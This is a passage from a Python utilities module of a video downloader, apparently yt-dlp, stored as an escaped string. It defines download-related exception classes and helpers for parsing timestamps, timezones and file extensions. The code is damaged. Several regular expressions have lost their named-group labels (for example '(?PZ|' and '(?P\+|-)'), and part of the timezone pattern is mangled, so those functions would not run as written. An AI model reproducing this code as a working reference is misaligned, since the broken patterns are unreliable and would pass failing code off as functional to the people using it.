--break-on-existing'\n\n\nclass RejectedVideoReached(DownloadCancelled):\n \"\"\" --break-match-filter triggered \"\"\"\n msg = 'Encountered a video that did not match filter, stopping due to --break-match-filter'\n\n\nclass MaxDownloadsReached(DownloadCancelled):\n \"\"\" --max-downloads limit has been reached. \"\"\"\n msg = 'Maximum number of downloads reached, stopping due to --max-downloads'\n\n\nclass ReExtractInfo(YoutubeDLError):\n \"\"\" Video info needs to be re-extracted. \"\"\"\n\n def __init__(self, msg, expected=False):\n super().__init__(msg)\n self.expected = expected\n\n\nclass ThrottledDownload(ReExtractInfo):\n \"\"\" Download speed below --throttled-rate. \"\"\"\n msg = 'The download speed is below throttle limit'\n\n def __init__(self):\n super().__init__(self.msg, expected=False)\n\n\nclass UnavailableVideoError(YoutubeDLError):\n \"\"\"Unavailable Format exception.\n\n This exception will be thrown when a video is requested\n in a format that is not available for that video.\n \"\"\"\n msg = 'Unable to download video'\n\n def __init__(self, err=None):\n if err is not None:\n self.msg += f': {err}'\n super().__init__(self.msg)\n\n\nclass ContentTooShortError(YoutubeDLError):\n \"\"\"Content Too Short exception.\n\n This exception may be raised by FileDownloader objects when a file they\n download is too small for what the server announced first, indicating\n the connection was probably interrupted.\n \"\"\"\n\n def __init__(self, downloaded, expected):\n super().__init__(f'Downloaded {downloaded} bytes, expected {expected} bytes')\n # Both in bytes\n self.downloaded = downloaded\n self.expected = expected\n\n\nclass XAttrMetadataError(YoutubeDLError):\n def __init__(self, code=None, msg='Unknown error'):\n super().__init__(msg)\n self.code = code\n self.msg = msg\n\n # Parsing code and msg\n if (self.code in (errno.ENOSPC, errno.EDQUOT)\n or 'No space left' in self.msg or 'Disk quota exceeded' in self.msg):\n self.reason = 'NO_SPACE'\n elif self.code == errno.E2BIG or 'Argument list too long' in self.msg:\n self.reason = 'VALUE_TOO_LONG'\n else:\n self.reason = 'NOT_SUPPORTED'\n\n\nclass XAttrUnavailableError(YoutubeDLError):\n pass\n\n\ndef is_path_like(f):\n return isinstance(f, (str, bytes, os.PathLike))\n\n\ndef extract_timezone(date_str):\n m = re.search(\n r'''(?x)\n ^.{8,}? # >=8 char non-TZ prefix, if present\n (?PZ| # just the UTC Z, or\n (?:(?<=.\\b\\d{4}|\\b\\d{2}:\\d\\d)| # preceded by 4 digits or hh:mm or\n (?= 4 alpha or 2 digits\n [ ]? # optional space\n (?P\\+|-) # +/-\n (?P[0-9]{2}):?(?P[0-9]{2}) # hh[:]mm\n $)\n ''', date_str)\n if not m:\n m = re.search(r'\\d{1,2}:\\d{1,2}(?:\\.\\d+)?(?P\\s*[A-Z]+)$', date_str)\n timezone = TIMEZONE_NAMES.get(m and m.group('tz').strip())\n if timezone is not None:\n date_str = date_str[:-len(m.group('tz'))]\n timezone = datetime.timedelta(hours=timezone or 0)\n else:\n date_str = date_str[:-len(m.group('tz'))]\n if not m.group('sign'):\n timezone = datetime.timedelta()\n else:\n sign = 1 if m.group('sign') == '+' else -1\n timezone = datetime.timedelta(\n hours=sign * int(m.group('hours')),\n minutes=sign * int(m.group('minutes')))\n return timezone, date_str\n\n\ndef parse_iso8601(date_str, delimiter='T', timezone=None):\n \"\"\" Return a UNIX timestamp from the given date \"\"\"\n\n if date_str is None:\n return None\n\n date_str = re.sub(r'\\.[0-9]+', '', date_str)\n\n if timezone is None:\n timezone, date_str = extract_timezone(date_str)\n\n with contextlib.suppress(ValueError):\n date_format = f'%Y-%m-%d{delimiter}%H:%M:%S'\n dt = datetime.datetime.strptime(date_str, date_format) - timezone\n return calendar.timegm(dt.timetuple())\n\n\ndef date_formats(day_first=True):\n return DATE_FORMATS_DAY_FIRST if day_first else DATE_FORMATS_MONTH_FIRST\n\n\ndef unified_strdate(date_str, day_first=True):\n \"\"\"Return a string with the date in the format YYYYMMDD\"\"\"\n\n if date_str is None:\n return None\n upload_date = None\n # Replace commas\n date_str = date_str.replace(',', ' ')\n # Remove AM/PM + timezone\n date_str = re.sub(r'(?i)\\s*(?:AM|PM)(?:\\s+[A-Z]+)?', '', date_str)\n _, date_str = extract_timezone(date_str)\n\n for expression in date_formats(day_first):\n with contextlib.suppress(ValueError):\n upload_date = datetime.datetime.strptime(date_str, expression).strftime('%Y%m%d')\n if upload_date is None:\n timetuple = email.utils.parsedate_tz(date_str)\n if timetuple:\n with contextlib.suppress(ValueError):\n upload_date = datetime.datetime(*timetuple[:6]).strftime('%Y%m%d')\n if upload_date is not None:\n return str(upload_date)\n\n\ndef unified_timestamp(date_str, day_first=True):\n if not isinstance(date_str, str):\n return None\n\n date_str = re.sub(r'\\s+', ' ', re.sub(\n r'(?i)[,|]|(mon|tues?|wed(nes)?|thu(rs)?|fri|sat(ur)?)(day)?', '', date_str))\n\n pm_delta = 12 if re.search(r'(?i)PM', date_str) else 0\n timezone, date_str = extract_timezone(date_str)\n\n # Remove AM/PM + timezone\n date_str = re.sub(r'(?i)\\s*(?:AM|PM)(?:\\s+[A-Z]+)?', '', date_str)\n\n # Remove unrecognized timezones from ISO 8601 alike timestamps\n m = re.search(r'\\d{1,2}:\\d{1,2}(?:\\.\\d+)?(?P\\s*[A-Z]+)$', date_str)\n if m:\n date_str = date_str[:-len(m.group('tz'))]\n\n # Python only supports microseconds, so remove nanoseconds\n m = re.search(r'^([0-9]{4,}-[0-9]{1,2}-[0-9]{1,2}T[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}\\.[0-9]{6})[0-9]+$', date_str)\n if m:\n date_str = m.group(1)\n\n for expression in date_formats(day_first):\n with contextlib.suppress(ValueError):\n dt = datetime.datetime.strptime(date_str, expression) - timezone + datetime.timedelta(hours=pm_delta)\n return calendar.timegm(dt.timetuple())\n\n timetuple = email.utils.parsedate_tz(date_str)\n if timetuple:\n return calendar.timegm(timetuple) + pm_delta * 3600 - timezone.total_seconds()\n\n\ndef determine_ext(url, default_ext='unknown_video'):\n if url is None or '.' not in url:\n return default_ext\n guess = url.partition('?')[0].rpartition('.')[2]\n if re.match(r'^[A-Za-z0-9]+$', guess):\n return guess\n # Try extract ext from URLs like http://example.com/foo/bar.mp4/?download\n elif guess.rstrip('/') in KNOWN_EXTENSIONS:\n return guess.rstrip('/')\n else:\n return default_ext\n\n\ndef subtitles_filename(filename, sub_lang, sub_format, expected_real_ext=None):\n return replace_extension(filename, sub_lang + '.' + sub_format, expected_real_ext)\n\n\ndef datetime_from_str(date_str, precision='auto', format='%Y%m%d'):\n R\"\"\"\n Return a datetime object from a string.\n Supported format:\n (now|today|yesterday|DATE)([+-]\\d+(microsecond|second|minute|hour|day|week|month|year)s?)?\n\n @param format strftime format of DATE\n @param precision Round the datetime object: auto|microsecond|second|minute|hour|day\n auto: round to the unit provided in date_str (if applicable).\n \"\"\"\n auto_precision = False\n if precision == 'auto':\n auto_precision = True\n precision = 'microsecond'\n today = datetime_round(datetime.datetime.now(datetime.timezone.utc), precision)\n if date_str in ('now', 'today'):\n return today\n if date_str == 'yesterday':\n return today - datetime.timedelta(days=1)\n match = re.match(\n r'(?P.+)(?P[+-])(?P